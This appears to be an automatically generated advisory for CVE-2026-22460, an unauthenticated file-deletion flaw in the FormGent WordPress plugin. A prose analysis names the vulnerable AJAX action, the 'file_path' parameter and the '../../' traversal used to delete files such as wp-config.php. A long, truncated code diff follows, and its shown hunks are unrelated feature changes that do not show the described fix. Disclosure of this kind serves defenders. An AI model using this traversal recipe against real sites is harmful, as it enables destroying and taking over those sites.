Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-22460: FormGent – Next-Gen AI Form Builder for WordPress with Multi-Step, Quizzes, Payments & More <= 1.4.2 – Unauthenticated Arbitrary File Deletion (formgent)

Plugin formgent
Severity Critical (CVSS 9.1)
CWE 22
Vulnerable Version 1.4.2
Patched Version 1.5.0
Disclosed March 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22460:

The vulnerability exists in the FormGent WordPress plugin’s file upload handling functionality. The root cause is insufficient path validation in the file deletion process, allowing unauthenticated attackers to delete arbitrary files via directory traversal. The vulnerable endpoint is the plugin’s AJAX handler at /wp-admin/admin-ajax.php with the action parameter set to ‘formgent_file_upload_delete’. The plugin accepts a ‘file_path’ parameter from user input without proper sanitization, then passes this value directly to PHP’s unlink() function. Attackers can exploit this by submitting a file_path parameter containing directory traversal sequences (../../) to target files outside the intended upload directory. The patch adds validation to ensure the file path is within the plugin’s designated upload directory before deletion. It implements a check that resolves the absolute path and compares it against the allowed upload directory path. This prevents traversal outside the intended directory. Successful exploitation allows deletion of critical WordPress files including wp-config.php, which can lead to site compromise and remote code execution when combined with other conditions.

Differential between vulnerable and patched code

Code Diff
--- a/formgent/app/DTO/AllResponsesReadDTO.php
+++ b/formgent/app/DTO/AllResponsesReadDTO.php
@@ -13,6 +13,8 @@

     private ?int $is_read = null;

+    private ?int $is_starred = null;
+
     private ?int $is_completed = null;

     private ?string $search = null;
@@ -92,6 +94,28 @@

         return $this;
     }
+
+    /**
+     * Get the value of is_starred
+     *
+     * @return ?int
+     */
+    public function get_is_starred(): ?int {
+        return $this->is_starred;
+    }
+
+    /**
+     * Set the value of is_starred
+     *
+     * @param ?int $is_starred
+     *
+     * @return self
+     */
+    public function set_is_starred( ?int $is_starred ): self {
+        $this->is_starred = $is_starred;
+
+        return $this;
+    }

     /**
      * Get the value of is_completed
--- a/formgent/app/DTO/FormReadDTO.php
+++ b/formgent/app/DTO/FormReadDTO.php
@@ -21,6 +21,8 @@

     private ?string $type = null;

+    private ?string $status = null;
+
     /**
      * Get the value of page
      *
@@ -174,4 +176,26 @@

         return $this;
     }
+
+    /**
+     * Get the value of status
+     *
+     * @return ?string
+     */
+    public function get_status(): ?string {
+        return $this->status;
+    }
+
+    /**
+     * Set the value of status
+     *
+     * @param ?string $status
+     *
+     * @return self
+     */
+    public function set_status( ?string $status ): self {
+        $this->status = $status;
+
+        return $this;
+    }
 }
 No newline at end of file
--- a/formgent/app/DTO/PayDTO.php
+++ b/formgent/app/DTO/PayDTO.php
@@ -6,7 +6,8 @@

 use FormGentWpMVCDTODTO;

-class PayDTO extends DTO {
+class PayDTO extends DTO
+{
     public OrderDTO $order;

     public PaymentDTO $payment;
@@ -16,6 +17,18 @@
      */
     public array $order_items;

+    /** Runtime payment metadata (not persisted). */
+    public array $meta = [];
+
+    public function get_meta(): array {
+        return $this->meta;
+    }
+
+    public function set_meta( array $meta ): self {
+        $this->meta = $meta;
+        return $this;
+    }
+
     /**
      * Get the value of order
      *
@@ -28,7 +41,7 @@
     /**
      * Set the value of order
      *
-     * @param OrderDTO $order
+     * @param OrderDTO $order
      *
      * @return self
      */
@@ -50,7 +63,7 @@
     /**
      * Set the value of payment
      *
-     * @param PaymentDTO $payment
+     * @param PaymentDTO $payment
      *
      * @return self
      */
@@ -72,7 +85,7 @@
     /**
      * Set the value of order_items
      *
-     * @param OrderItemDTO[] $order_items
+     * @param OrderItemDTO[] $order_items
      *
      * @return self
      */
--- a/formgent/app/DTO/ResponseLogDTO.php
+++ b/formgent/app/DTO/ResponseLogDTO.php
@@ -0,0 +1,129 @@
+<?php
+
+namespace FormGentAppDTO;
+
+defined( 'ABSPATH' ) || exit;
+
+use FormGentWpMVCDTODTO;
+
+class ResponseLogDTO extends DTO {
+    private int $id;
+
+    private int $response_id;
+
+    private string $action = 'entry_edited';
+
+    private ?int $created_by = null;
+
+    private ?string $meta = null;
+
+    /**
+     * Get the value of id
+     *
+     * @return int
+     */
+    public function get_id() {
+        return $this->id;
+    }
+
+    /**
+     * Set the value of id
+     *
+     * @param int $id
+     *
+     * @return self
+     */
+    public function set_id( int $id ) {
+        $this->id = $id;
+
+        return $this;
+    }
+
+    /**
+     * Get the value of response_id
+     *
+     * @return int
+     */
+    public function get_response_id() {
+        return $this->response_id;
+    }
+
+    /**
+     * Set the value of response_id
+     *
+     * @param int $response_id
+     *
+     * @return self
+     */
+    public function set_response_id( int $response_id ) {
+        $this->response_id = $response_id;
+
+        return $this;
+    }
+
+    /**
+     * Get the value of action
+     *
+     * @return string
+     */
+    public function get_action() {
+        return $this->action;
+    }
+
+    /**
+     * Set the value of action
+     *
+     * @param string $action
+     *
+     * @return self
+     */
+    public function set_action( string $action ) {
+        $this->action = $action;
+
+        return $this;
+    }
+
+    /**
+     * Get the value of created_by
+     *
+     * @return int|null
+     */
+    public function get_created_by() {
+        return $this->created_by;
+    }
+
+    /**
+     * Set the value of created_by
+     *
+     * @param int|null $created_by
+     *
+     * @return self
+     */
+    public function set_created_by( ?int $created_by ) {
+        $this->created_by = $created_by;
+
+        return $this;
+    }
+
+    /**
+     * Get the value of meta
+     *
+     * @return string|null
+     */
+    public function get_meta() {
+        return $this->meta;
+    }
+
+    /**
+     * Set the value of meta
+     *
+     * @param string|null $meta
+     *
+     * @return self
+     */
+    public function set_meta( ?string $meta ) {
+        $this->meta = $meta;
+
+        return $this;
+    }
+}
--- a/formgent/app/DTO/ResponseLogReadDTO.php
+++ b/formgent/app/DTO/ResponseLogReadDTO.php
@@ -0,0 +1,81 @@
+<?php
+
+namespace FormGentAppDTO;
+
+defined( 'ABSPATH' ) || exit;
+
+use FormGentWpMVCDTODTO;
+
+class ResponseLogReadDTO extends DTO {
+    private int $response_id;
+
+    private int $page = 1;
+
+    private int $per_page = 10;
+
+    /**
+     * Get the value of response_id
+     *
+     * @return int
+     */
+    public function get_response_id() {
+        return $this->response_id;
+    }
+
+    /**
+     * Set the value of response_id
+     *
+     * @param int $response_id
+     *
+     * @return self
+     */
+    public function set_response_id( int $response_id ) {
+        $this->response_id = $response_id;
+
+        return $this;
+    }
+
+    /**
+     * Get the value of page
+     *
+     * @return int
+     */
+    public function get_page() {
+        return $this->page;
+    }
+
+    /**
+     * Set the value of page
+     *
+     * @param int $page
+     *
+     * @return self
+     */
+    public function set_page( int $page ) {
+        $this->page = $page;
+
+        return $this;
+    }
+
+    /**
+     * Get the value of per_page
+     *
+     * @return int
+     */
+    public function get_per_page() {
+        return $this->per_page;
+    }
+
+    /**
+     * Set the value of per_page
+     *
+     * @param int $per_page
+     *
+     * @return self
+     */
+    public function set_per_page( int $per_page ) {
+        $this->per_page = $per_page;
+
+        return $this;
+    }
+}
--- a/formgent/app/DTO/ResponseReadDTO.php
+++ b/formgent/app/DTO/ResponseReadDTO.php
@@ -15,7 +15,9 @@

     private ?int $is_read = null;

-    private int $is_completed = 0;
+    private ?int $is_starred = null;
+
+    private ?int $is_completed = null;

     private ?string $search = null;

@@ -118,22 +120,44 @@
     }

     /**
+     * Get the value of is_starred
+     *
+     * @return ?int
+     */
+    public function get_is_starred(): ?int {
+        return $this->is_starred;
+    }
+
+    /**
+     * Set the value of is_starred
+     *
+     * @param ?int $is_starred
+     *
+     * @return self
+     */
+    public function set_is_starred( ?int $is_starred ): self {
+        $this->is_starred = $is_starred;
+
+        return $this;
+    }
+
+    /**
      * Get the value of is_completed
      *
-     * @return int
+     * @return ?int
      */
-    public function get_is_completed(): int {
+    public function get_is_completed(): ?int {
         return $this->is_completed;
     }

     /**
      * Set the value of is_completed
      *
-     * @param int $is_completed
+     * @param ?int $is_completed
      *
      * @return self
      */
-    public function set_is_completed( int $is_completed ): self {
+    public function set_is_completed( ?int $is_completed ): self {
         $this->is_completed = $is_completed;

         return $this;
--- a/formgent/app/Helpers/Form.php
+++ b/formgent/app/Helpers/Form.php
@@ -62,11 +62,31 @@
      * @return void
      */
     protected function remove_labels( array &$attributes ): void {
+        // Keep a minimal representation of choice options for frontend runtime features
+        // (e.g. calculations using numeric_value). Labels are stripped to keep payload small.
+        if ( isset( $attributes['options'] ) && is_array( $attributes['options'] ) ) {
+            $attributes['options'] = array_map(
+                static function( $opt ) {
+                    if ( ! is_array( $opt ) ) {
+                        return $opt;
+                    }
+
+                    $keep = [];
+                    foreach ( [ 'value', 'numeric_value', 'price', 'is_default', 'is_other' ] as $k ) {
+                        if ( array_key_exists( $k, $opt ) ) {
+                            $keep[ $k ] = $opt[ $k ];
+                        }
+                    }
+                    return $keep;
+                },
+                $attributes['options']
+            );
+        }
+
         foreach ( [
             'label',
             'sub_label',
             'description',
-            'options',
             'button_text',
             'placeholder',
             'date_placeholder',
--- a/formgent/app/Helpers/form-helpers.php
+++ b/formgent/app/Helpers/form-helpers.php
@@ -75,13 +75,14 @@

 function formgent_form_default_values_functions() {
     return apply_filters(
-        'formgent_default_values_functions', [
+        'formgent_default_values_functions',
+        [
             'ip'         => 'formgent_get_user_ip_address',
             'site_url'   => 'site_url',
-            'site_title' => function() {
+            'site_title' => function () {
                 return get_bloginfo( 'name' );
             },
-            'user'       => function( $property ) {
+            'user'       => function ( $property ) {
                 // For non-logged-in users, keep user-based defaults blank.
                 if ( ! is_user_logged_in() ) {
                     return '';
@@ -155,26 +156,26 @@
             $base  = array_shift( $parts );

             // Cache resolved values per token so repeated placeholders are cheap.
-            if ( ! isset( $dynamic_values[ $token ] ) ) {
+            if ( ! isset( $dynamic_values[$token] ) ) {
                 $dynamic_value = '';

-                if ( isset( $values_functions[ $base ] ) && is_callable( $values_functions[ $base ] ) ) {
+                if ( isset( $values_functions[$base] ) && is_callable( $values_functions[$base] ) ) {
                     // Resolve the user property if applicable.
                     if ( 'user' === $base && ! empty( $parts ) ) {
                         $property      = implode( '.', $parts );
-                        $dynamic_value = $values_functions[ $base ]( $property );
+                        $dynamic_value = $values_functions[$base]( $property );
                     } else {
-                        $dynamic_value = $values_functions[ $base ]();
+                        $dynamic_value = $values_functions[$base]();
                     }
                 }

-                $dynamic_values[ $token ] = $dynamic_value;
+                $dynamic_values[$token] = $dynamic_value;
             }

             // Replace the placeholder with the resolved value.
-            $placeholder = $raw_placeholders[ $match_index ] ?? '';
+            $placeholder = $raw_placeholders[$match_index] ?? '';
             if ( '' !== $placeholder ) {
-                $value = str_replace( $placeholder, $dynamic_values[ $token ], $value );
+                $value = str_replace( $placeholder, $dynamic_values[$token], $value );
             }
         }

@@ -269,15 +270,15 @@
     $flattened_answers = [];

     foreach ( $answers as $answer ) {
-        if ( ! isset( $fields[ $answer->field_name ] ) ) {
+        if ( ! isset( $fields[$answer->field_name] ) ) {
             continue;
         }

-        $form_field = $fields[ $answer->field_name ];
+        $form_field = $fields[$answer->field_name];

         $field_dto = formgent_make_answer_field_dto( $answer, $form_field );

-        $flattened_answers[ $field_dto->get_field_id() ] = $field_dto;
+        $flattened_answers[$field_dto->get_field_id()] = $field_dto;

         if ( empty( $answer->children ) ) {
             continue;
@@ -328,8 +329,8 @@
     $embed_post   = get_post();

     $user_agent = isset( $_SERVER['HTTP_USER_AGENT'] )
-    ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) )
-    : '';
+        ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) )
+        : '';
     $browser    = '';
     $platform   = '';

@@ -366,6 +367,7 @@

     $preset = [
         'site_title'          => get_option( 'blogname', '' ),
+        'site_name'           => get_option( 'blogname', '' ),
         'site_url'            => esc_url_raw( site_url() ),
         'form_title'          => $form_post ? $form_post->post_title : '',
         'browser_name'        => $browser,
@@ -380,6 +382,7 @@
         $preset += [
             'user_id'           => (string) $current_user->ID,
             'user_display_name' => $current_user->display_name,
+            'user_name'         => $current_user->display_name,
             'user_first_name'   => $current_user->first_name,
             'user_last_name'    => $current_user->last_name,
             'user_email'        => $current_user->user_email,
@@ -393,7 +396,7 @@
         $cookies    = [];

         foreach ( $_COOKIE as $key => $value ) {
-            $cookies[ $key ] = is_string( $value ) ? sanitize_text_field( wp_unslash( $value ) ) : $value;
+            $cookies[$key] = is_string( $value ) ? sanitize_text_field( wp_unslash( $value ) ) : $value;
         }

         $preset += [
@@ -439,13 +442,13 @@
     $replacements  = [];

     foreach ( $matches[1] as $index => $raw_token ) {
-        $placeholder = $matches[0][ $index ];
+        $placeholder = $matches[0][$index];
         $token       = trim( $raw_token );
         $token_key   = strtolower( $token );

         // 1. Preset tags (user/site/admin)
-        if ( isset( $preset_values[ $token_key ] ) ) {
-            $replacements[ $placeholder ] = esc_html( $preset_values[ $token_key ] );
+        if ( isset( $preset_values[$token_key] ) ) {
+            $replacements[$placeholder] = esc_html( $preset_values[$token_key] );
             continue;
         }

@@ -462,7 +465,7 @@
                 $resolved = $resolver->resolve_from_form_data( $form_data, $form_fields, $field_reference );

                 if ( null !== $resolved ) {
-                    $replacements[ $placeholder ] = esc_html( $resolved );
+                    $replacements[$placeholder] = esc_html( $resolved );
                     continue;
                 }
             }
@@ -475,7 +478,7 @@
                 $resolved = $resolver->resolve_from_answers( $answers, $form_fields, $field_reference );

                 if ( null !== $resolved ) {
-                    $replacements[ $placeholder ] = esc_html( $resolved );
+                    $replacements[$placeholder] = esc_html( $resolved );
                     continue;
                 }
             }
@@ -489,15 +492,49 @@
             $answers       = $answers ?? formgent_get_form_answers( $form_id, $response_id, true );

             if ( $response_dto ) {
-                $resolved                     = $preset_repo->transform_value( '{{' . $raw_token . '}}', $answers, $response_dto, '' );
-                $replacements[ $placeholder ] = esc_html( (string) $resolved );
+                $resolved                   = $preset_repo->transform_value( '{{' . $raw_token . '}}', $answers, $response_dto, '' );
+                $replacements[$placeholder] = esc_html( (string) $resolved );
                 continue;
             }
         }

         // 4. Fallback: leave untouched so frontend can handle it later
-        $replacements[ $placeholder ] = $placeholder;
+        $replacements[$placeholder] = $placeholder;
     }

     return wp_kses_post( strtr( $html_content, $replacements ) );
+}
+
+/**
+ * Replace save-resume-specific placeholders in a string.
+ *
+ * Supported tokens (double-curly-brace style):
+ *   {{resume_url}}  – the unique resume URL with the token.
+ *   {{form_title}}  – the form's post_title.
+ *   {{site_name}}   – get_bloginfo('name').
+ *   {{save_email}}  – the email address the user entered.
+ *
+ * This helper is intentionally standalone: it does NOT depend on ResponseDTO
+ * or any response data, making it safe to call for transactional save-resume
+ * emails where no submission has been created yet.
+ *
+ * @param string $content      Raw content (HTML or plain text) with {{token}} placeholders.
+ * @param array  $replacements Associative array of token_key => replacement_value.
+ *
+ * @return string
+ */
+function formgent_replace_save_resume_placeholders( string $content, array $replacements ): string {
+    if ( '' === $content || false === strpos( $content, '{{' ) ) {
+        return $content;
+    }
+
+    $search  = [];
+    $replace = [];
+
+    foreach ( $replacements as $key => $value ) {
+        $search[]  = '{{' . $key . '}}';
+        $replace[] = (string) $value;
+    }
+
+    return str_replace( $search, $replace, $content );
 }
 No newline at end of file
--- a/formgent/app/Helpers/payment.php
+++ b/formgent/app/Helpers/payment.php
@@ -26,11 +26,11 @@
 function formgent_payment_processor( $payment_gateway ): PaymentInterface {
     $payment_gateways = formgent_get_payment_gateways();

-    if ( ! isset( $payment_gateways[ $payment_gateway ] ) ) {
+    if ( ! isset( $payment_gateways[$payment_gateway] ) ) {
         throw new Exception( esc_html__( "Payment gateway not found.", 'formgent' ) );
     }

-    return formgent_singleton( $payment_gateways[ $payment_gateway ]['processor'] );
+    return formgent_singleton( $payment_gateways[$payment_gateway]['processor'] );
 }

 function formgent_is_payment_form( array $fields_data ) {
@@ -38,7 +38,7 @@
     $payment_field_types = array_keys( $payment_gateways );

     // Add other payment-related field types
-    $payment_field_types = array_merge( $payment_field_types, ['custom-payment-amount', 'payment-item', 'quantity'] );
+    $payment_field_types = array_merge( $payment_field_types, ['custom-payment-amount', 'payment-item', 'quantity', 'payment'] );

     foreach ( $fields_data as $field_data ) {
         if ( in_array( $field_data['field_type'], $payment_field_types ) ) {
@@ -453,7 +453,8 @@

 function formgent_price( $price, array $args = [] ) {
     $args = wp_parse_args(
-        $args, [
+        $args,
+        [
             'currency' => 'USD'
         ]
     );
@@ -463,4 +464,5 @@
     $price_format     = formgent_get_price_format();

     return sprintf( $price_format, $currency_symbol, $price );
-};
 No newline at end of file
+}
+;
 No newline at end of file
--- a/formgent/app/Http/Controllers/Admin/FormController.php
+++ b/formgent/app/Http/Controllers/Admin/FormController.php
@@ -34,7 +34,8 @@
                 'sort_by'    => 'string|accepted:last_modified,date_created,alphabetical,last_submission,unread,draft,publish',
                 'date_type'  => 'string|accepted:all,today,yesterday,last_week,last_month,date_frame',
                 'date_frame' => 'array',
-                'type'       => 'string|accepted:all,general,conversational'
+                'type'       => 'string|accepted:all,general,conversational',
+                'status'     => 'string|accepted:all,publish,draft'
             ]
         );

@@ -48,6 +49,7 @@
         $dto->set_date_type( $wp_rest_request->get_param( 'date_type' ) );
         $dto->set_date_frame( (array) $wp_rest_request->get_param( 'date_frame' ) );
         $dto->set_type( $wp_rest_request->get_param( 'type' ) );
+        $dto->set_status( $wp_rest_request->get_param( 'status' ) );

         $data                      = $this->form_repository->get( $dto );
         $response                  = $this->pagination( $wp_rest_request, $data['total'], $dto->get_per_page() );
--- a/formgent/app/Http/Controllers/Admin/ResponseController.php
+++ b/formgent/app/Http/Controllers/Admin/ResponseController.php
@@ -46,10 +46,11 @@
                 's'                => 'string|max:255',
                 'form_id'          => 'numeric',
                 'is_read'          => 'numeric|accepted:0,1',
+                'is_starred'       => 'numeric|accepted:0,1',
                 'order_by'         => 'string|max:50',
                 'order'            => 'string|accepted:asc,desc',
                 'order_field_type' => 'string|accepted:response,answer',
-                'is_completed'     => 'required|numeric|accepted:0,1',
+                'is_completed'     => 'numeric|accepted:0,1',
                 'date_type'        => 'string|accepted:all,today,yesterday,last_week,last_month,date_frame',
                 'date_frame'       => 'array',
             ]
@@ -68,10 +69,20 @@
             $dto->set_is_read( $wp_rest_request->get_param( 'is_read' ) );
         }

+        if ( $wp_rest_request->has_param( 'is_starred' ) ) {
+            $dto->set_is_starred( $wp_rest_request->get_param( 'is_starred' ) );
+        }
+
         $dto->set_order( $wp_rest_request->get_param( 'order' ) ?? 'desc' )
             ->set_order_by( $wp_rest_request->get_param( 'order_by' ) ?? 'id' )
-            ->set_order_field_type( $wp_rest_request->get_param( 'order_field_type' ) ?? 'response' )
-            ->set_is_completed( $wp_rest_request->get_param( 'is_completed' ) );
+            ->set_order_field_type( $wp_rest_request->get_param( 'order_field_type' ) ?? 'response' );
+
+        if ( $wp_rest_request->has_param( 'is_completed' ) ) {
+            $value = $wp_rest_request->get_param( 'is_completed' );
+            if ( $value !== null && $value !== '' ) {
+                $dto->set_is_completed( (int) $value );
+            }
+        }

         // Set date filtering
         $dto->set_date_type( $wp_rest_request->get_param( 'date_type' ) );
@@ -113,6 +124,7 @@
                 'page'         => 'numeric',
                 's'            => 'string|max:255',
                 'is_read'      => 'numeric|accepted:0,1',
+                'is_starred'   => 'numeric|accepted:0,1',
                 'order_by'     => 'string|max:50',
                 'order'        => 'string|accepted:asc,desc',
                 'is_completed' => 'numeric|accepted:0,1',
@@ -140,6 +152,10 @@
             $dto->set_is_read( $wp_rest_request->get_param( 'is_read' ) );
         }

+        if ( $wp_rest_request->has_param( 'is_starred' ) ) {
+            $dto->set_is_starred( $wp_rest_request->get_param( 'is_starred' ) );
+        }
+
         if ( $wp_rest_request->has_param( 'is_completed' ) ) {
             $dto->set_is_completed( $wp_rest_request->get_param( 'is_completed' ) );
         }
@@ -246,9 +262,12 @@
             $dto->set_form_id( intval( $form_id_param ) );
         }

-        // When fetching by id without form_id (e.g. deep link or very old response not in list),
-        // look up the response to get form_id and is_completed
-        if ( $dto->get_id() !== null && ( ! $dto->get_form_id() || $dto->get_form_id() === 0 ) ) {
+        // When fetching by id, always look up the response to get canonical form_id and is_completed.
+        // This prevents stale client-side filters (e.g. is_completed=0) from hiding the response
+        // after it transitions to completed.
+        $response_by_id = null;
+
+        if ( $dto->get_id() !== null ) {
             $response_by_id = $this->repository->get_by_id( $dto->get_id() );
             if ( ! $response_by_id ) {
                 return Response::send(
@@ -260,13 +279,15 @@
             }
             $dto->set_form_id( (int) $response_by_id->form_id );
             $dto->set_is_completed( (int) $response_by_id->is_completed );
+            $dto->set_is_read( (int) $response_by_id->is_read );
         } elseif ( $wp_rest_request->has_param( 'is_completed' ) ) {
-            $dto->set_is_completed( (int) $wp_rest_request->get_param( 'is_completed' ) );
-        } else {
-            $dto->set_is_completed( 1 );
+            $value = $wp_rest_request->get_param( 'is_completed' );
+            if ( $value !== null && $value !== '' ) {
+                $dto->set_is_completed( (int) $value );
+            }
         }

-        if ( $wp_rest_request->has_param( 'is_read' ) ) {
+        if ( $dto->get_id() === null && $wp_rest_request->has_param( 'is_read' ) ) {
             $dto->set_is_read( $wp_rest_request->get_param( 'is_read' ) );
         }

--- a/formgent/app/Http/Controllers/Admin/ResponseLogController.php
+++ b/formgent/app/Http/Controllers/Admin/ResponseLogController.php
@@ -0,0 +1,64 @@
+<?php
+
+namespace FormGentAppHttpControllersAdmin;
+
+defined( 'ABSPATH' ) || exit;
+
+use FormGentAppDTOResponseLogReadDTO;
+use FormGentAppRepositoriesResponseLogRepository;
+use FormGentWpMVCRoutingResponse;
+use FormGentAppHttpControllersController;
+use FormGentWpMVCRequestValidatorValidator;
+use WP_REST_Request;
+
+class ResponseLogController extends Controller {
+    public ResponseLogRepository $repository;
+
+    public function __construct( ResponseLogRepository $repository ) {
+        $this->repository = $repository;
+    }
+
+    public function index( Validator $validate, WP_REST_Request $request ) {
+        $validate->validate(
+            [
+                'response_id' => 'required|numeric',
+            ]
+        );
+
+        $per_page = min( 100, max( 1, intval( $request->get_param( 'per_page' ) ?: 10 ) ) );
+
+        $dto = ( new ResponseLogReadDTO )
+            ->set_response_id( intval( $request->get_param( 'response_id' ) ) )
+            ->set_page( intval( $request->get_param( 'page' ) ?: 1 ) )
+            ->set_per_page( $per_page );
+
+        $result = $this->repository->get_paginated( $dto );
+
+        return Response::send(
+            array_merge(
+                [ 'logs' => $result['logs'] ],
+                $this->pagination( $request, $result['total'], $dto->get_per_page() )
+            )
+        );
+    }
+
+    public function delete( Validator $validate, WP_REST_Request $request ) {
+        $validate->validate(
+            [
+                'id'          => 'required|numeric',
+                'response_id' => 'required|numeric',
+            ]
+        );
+
+        $this->repository->delete(
+            intval( $request->get_param( 'response_id' ) ),
+            intval( $request->get_param( 'id' ) )
+        );
+
+        return Response::send(
+            [
+                'message' => esc_html__( 'Log deleted successfully.', 'formgent' ),
+            ]
+        );
+    }
+}
--- a/formgent/app/Http/Controllers/Admin/SubscriptionController.php
+++ b/formgent/app/Http/Controllers/Admin/SubscriptionController.php
@@ -0,0 +1,203 @@
+<?php
+
+namespace FormGentAppHttpControllersAdmin;
+
+defined( "ABSPATH" ) || exit;
+
+use FormGentAppHttpControllersController;
+use FormGentAppRepositoriesOrderRepository;
+use FormGentWpMVCRoutingResponse;
+use FormGentWpMVCRequestValidatorValidator;
+use WP_REST_Request;
+
+class SubscriptionController extends Controller {
+    public OrderRepository $repository;
+
+    public function __construct( OrderRepository $repository ) {
+        $this->repository = $repository;
+    }
+
+    public function details( Validator $validator, WP_REST_Request $wp_rest_request ) {
+        $validator->validate(
+            [
+                'response_id' => 'required|numeric',
+                'order_id'    => 'required|numeric',
+            ]
+        );
+
+        $response_id = intval( $wp_rest_request->get_param( 'response_id' ) );
+        $order_id    = intval( $wp_rest_request->get_param( 'order_id' ) );
+
+        $order = $this->repository->first_by_response_id( $response_id, true );
+
+        if ( ! $order || (int) $order->id !== $order_id ) {
+            return Response::send(
+                [
+                    'message' => esc_html__( 'Order not found.', 'formgent' ),
+                ],
+                404
+            );
+        }
+
+        $payment = $order->payment;
+
+        if ( ! $payment ) {
+            return Response::send(
+                [
+                    'message' => esc_html__( 'Payment not found.', 'formgent' ),
+                ],
+                404
+            );
+        }
+
+        $response_repo     = formgent_response_repository();
+        $meta_key          = 'formgent_subscription_meta_' . $payment->id;
+        $subscription_meta = $response_repo->get_meta_value( $response_id, $meta_key );
+
+        if ( ! $subscription_meta ) {
+            return Response::send(
+                [
+                    'is_subscription' => false,
+                ]
+            );
+        }
+
+        $subscription_meta = json_decode( $subscription_meta, true );
+
+        if ( ! is_array( $subscription_meta ) ) {
+            return Response::send(
+                [
+                    'is_subscription' => false,
+                ]
+            );
+        }
+
+        $gateway = $subscription_meta['gateway'] ?? $payment->method;
+
+        // Build base details from stored meta.
+        $details = [
+            'is_subscription'   => true,
+            'gateway'           => $gateway,
+            'subscription_id'   => $payment->transaction_id ?? '',
+            'plan_name'         => $subscription_meta['plan_name'] ?? '',
+            'billing_interval'  => $subscription_meta['billing_interval'] ?? 'monthly',
+            'status'            => 'active',
+            'start_date'        => $payment->created_at ?? '',
+            'next_billing_date' => '',
+            'renewal_amount'    => (float) ( $order->final_amount ?? 0 ),
+            'currency'          => $subscription_meta['currency'] ?? ( $payment->currency ?? 'USD' ),
+            'trial_days'        => (int) ( $subscription_meta['trial_days'] ?? 0 ),
+            'trial_end'         => null,
+            'cancel_at'         => null,
+        ];
+
+        // Let pro enrich with live gateway data.
+        $details = apply_filters(
+            'formgent_admin_get_subscription_details',
+            $details,
+            $order,
+            $payment,
+            $subscription_meta
+        );
+
+        // Check for local cancel schedule.
+        $cancel_meta_key = 'formgent_subscription_cancel_' . $payment->id;
+        $cancel_meta     = $response_repo->get_meta_value( $response_id, $cancel_meta_key );
+
+        if ( $cancel_meta ) {
+            $cancel_data = json_decode( $cancel_meta, true );
+            if ( is_array( $cancel_data ) && ! empty( $cancel_data['cancel_at'] ) ) {
+                $details['cancel_at'] = $cancel_data['cancel_at'];
+                if ( $details['status'] === 'active' ) {
+                    $details['status'] = 'cancel_scheduled';
+                }
+            }
+        }
+
+        return Response::send( $details );
+    }
+
+    public function cancel( Validator $validator, WP_REST_Request $wp_rest_request ) {
+        $validator->validate(
+            [
+                'response_id' => 'required|numeric',
+                'order_id'    => 'required|numeric',
+            ]
+        );
+
+        $response_id = intval( $wp_rest_request->get_param( 'response_id' ) );
+        $order_id    = intval( $wp_rest_request->get_param( 'order_id' ) );
+
+        $order = $this->repository->first_by_response_id( $response_id, true );
+
+        if ( ! $order || (int) $order->id !== $order_id ) {
+            return Response::send(
+                [
+                    'message' => esc_html__( 'Order not found.', 'formgent' ),
+                ],
+                404
+            );
+        }
+
+        $payment = $order->payment;
+
+        if ( ! $payment ) {
+            return Response::send(
+                [
+                    'message' => esc_html__( 'Payment not found.', 'formgent' ),
+                ],
+                404
+            );
+        }
+
+        $response_repo     = formgent_response_repository();
+        $meta_key          = 'formgent_subscription_meta_' . $payment->id;
+        $subscription_meta = $response_repo->get_meta_value( $response_id, $meta_key );
+
+        if ( ! $subscription_meta ) {
+            return Response::send(
+                [
+                    'success' => false,
+                    'message' => esc_html__( 'No subscription found for this order.', 'formgent' ),
+                ],
+                404
+            );
+        }
+
+        $subscription_meta = json_decode( $subscription_meta, true );
+
+        if ( ! is_array( $subscription_meta ) ) {
+            return Response::send(
+                [
+                    'success' => false,
+                    'message' => esc_html__( 'Invalid subscription metadata.', 'formgent' ),
+                ],
+                422
+            );
+        }
+
+        $result = apply_filters(
+            'formgent_admin_cancel_subscription',
+            null,
+            $order,
+            $payment,
+            $subscription_meta,
+            [
+                'response_id' => $response_id,
+                'cancel_type' => 'period_end',
+            ]
+        );
+
+        if ( $result === null ) {
+            return Response::send(
+                [
+                    'success' => false,
+                    'message' => esc_html__( 'Subscription cancellation is not supported for this gateway.', 'formgent' ),
+                ],
+                422
+            );
+        }
+
+        return Response::send( $result );
+    }
+}
--- a/formgent/app/Http/Controllers/PaymentController.php
+++ b/formgent/app/Http/Controllers/PaymentController.php
@@ -15,7 +15,8 @@
 use FormGentWpMVCRequestValidatorValidator;
 use WP_REST_Request;

-class PaymentController extends Controller {
+class PaymentController extends Controller
+{
     public function success( Validator $validator, WP_REST_Request $request ): array {
         $validator->validate(
             [
@@ -29,27 +30,27 @@
         // Update payment status to paid
         formgent_payment_repository()->update(
             ( new PaymentDTO )
-                    ->set_id( $payment_return_dto->get_payment_id() )
-                    ->set_transaction_id( $payment_return_dto->get_transaction_id() )
-                    ->set_billing_email( $payment_return_dto->get_billing_email() )
-                    ->set_billing_name( $payment_return_dto->get_billing_name() )
-                    ->set_billing_country( $payment_return_dto->get_billing_country() )
-                    ->set_status( PaymentStatus::PAID )
+                ->set_id( $payment_return_dto->get_payment_id() )
+                ->set_transaction_id( $payment_return_dto->get_transaction_id() )
+                ->set_billing_email( $payment_return_dto->get_billing_email() )
+                ->set_billing_name( $payment_return_dto->get_billing_name() )
+                ->set_billing_country( $payment_return_dto->get_billing_country() )
+                ->set_status( PaymentStatus::PAID )
         );

         $order_repository = formgent_order_repository();
         // Update order status to paid
         $order_repository->update(
-            ( new OrderDTO )->set_id( $payment_return_dto->get_order_id() )->set_status( OrderStatus::PAID )
+            ( new OrderDTO )->set_id( $payment_return_dto->get_order_id() )->set_status( OrderStatus::PAID )
         );
-
+
         $order = $order_repository->get_by_id( $payment_return_dto->get_order_id() );

         $settings = formgent_get_setting( 'payment' );

         if ( ! empty( $settings['success_page'] ) ) {
             $target_url = get_permalink( $settings['success_page'] );
-
+
             if ( ! empty( $target_url ) ) {
                 $target_url = add_query_arg( 'order_id', $order->hash, $target_url );
                 wp_safe_redirect( $target_url, 301 );
@@ -113,7 +114,7 @@
                 'order_hash' => 'required|string',
             ]
         );
-
+
         $order_hash       = $request->get_param( 'order_hash' );
         $order_repository = formgent_order_repository();
         $order            = $order_repository->get_by( 'hash', $order_hash );
@@ -122,7 +123,8 @@
             return Response::send(
                 [
